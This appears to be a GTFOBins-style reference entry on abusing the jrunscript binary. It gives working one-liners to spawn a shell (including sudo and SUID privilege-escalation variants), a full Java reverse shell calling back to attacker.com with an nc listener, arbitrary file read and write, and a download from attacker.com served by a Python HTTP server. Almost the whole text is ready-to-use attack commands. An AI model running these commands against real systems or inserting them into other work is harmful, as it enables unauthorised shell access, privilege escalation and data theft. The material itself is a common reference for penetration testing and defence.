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• Shell
• Reverse shell
• File write
• File read
• Download

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

  Comment

  This has been found working in macOS but failing on Linux systems.

  jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

• Unprivileged

  This function can be performed by any unprivileged user.

  jrunscript -e 'var host="attacker.com";
      var port=12345;
      var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
      var s=new java.net.Socket(host,port);
      var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
      var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
      while(pi.available()>0)so.write(pi.read());
      while(pe.available()>0)so.write(pe.read());
      while(si.available()>0)po.write(si.read());
      so.flush();po.flush();
      java.lang.Thread.sleep(50);
      try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  jrunscript -e 'var host="attacker.com";
      var port=12345;
      var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
      var s=new java.net.Socket(host,port);
      var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
      var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
      while(pi.available()>0)so.write(pi.read());
      while(pe.available()>0)so.write(pe.read());
      while(si.available()>0)po.write(si.read());
      so.flush();po.flush();
      java.lang.Thread.sleep(50);
      try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

  TTY

  The spawned shell is just a dummy REPL that can only run simple terminal commands.

  Listener

  A TCP server can be used on the attacker box to receive the shell.

  nc -l -p 12345

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
      fw.write("DATA");
      fw.close();'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
      fw.write("DATA");
      fw.close();'

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
      while ((line = br.readLine()) != null) { print(line); }'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
      while ((line = br.readLine()) != null) { print(line); }'

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Download

This executable can download remote data.

• Unprivileged

  This function can be performed by any unprivileged user.

  jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'

  Sender

  An HTTP server can be used on the attacker box to send the data.

  python -m http.server 80

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